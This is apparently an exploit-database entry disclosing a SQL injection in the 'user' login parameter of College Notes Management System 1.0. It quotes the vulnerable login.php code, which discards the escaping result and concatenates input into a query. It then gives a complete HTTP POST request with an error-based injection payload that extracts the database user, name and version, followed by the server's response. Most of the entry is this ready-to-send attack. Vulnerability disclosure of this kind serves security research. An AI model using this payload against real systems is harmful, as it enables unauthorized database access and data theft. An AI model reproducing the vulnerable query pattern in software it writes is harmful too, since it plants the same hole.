College Notes Management System 1.0 – ‘user’ SQL Injection
# Exploit Title: College Notes Management System 1.0 - 'user' SQL Injection # Dork: N/A # Date: 2018-10-15 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://anirbandutta.ml/ # Software Link: https://sourceforge.net/projects/college-notes-management/ # Software Link: https://github.com/anirbandutta9/College-Notes-Gallery # git clone https://git.code.sf.net/p/college-notes-management/code college-notes-management-code # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://192.168.1.27/[PATH]/login.php # login.php # ...... # if (isset($_POST['login'])) { # $username = $_POST['user']; # $password = $_POST['pass']; # mysqli_real_escape_string($conn, $username); # mysqli_real_escape_string($conn, $password); # $query = "SELECT * FROM users WHERE username = '$username'"; # $result = mysqli_query($conn , $query) or die (mysqli_error($conn)); # if (mysqli_num_rows($result) > 0) { # while ($row = mysqli_fetch_array($result)) { # $id = $row['id']; # $user = $row['username']; # $pass = $row['password']; # $name = $row['name']; # ...... POST /[PATH]/login.php HTTP/1.1 Host: 192.168.1.27 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 240 user='%20aND%20(SeleCT%207804%20FroM(SeleCT%20COUNT(*),ConCaT((SeleCT%20(ELT(7804=7804,1))),ConCaT_WS(0x203a20,usER(),DaTaBaSE(),VERSIon()),FloOR(RaND(0)*2))x%20FroM%20INFORMaTIon_SCHEMa.PLugINS%20GroUP%20BY%20x)a)--%20Efe&pass=&login=login HTTP/1.1 200 OK Date: Sat, 15 Oct 2018 00:51:03 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: PHPSESSID=b6mgibtddijtde10ti6umf9kc5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1843 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 |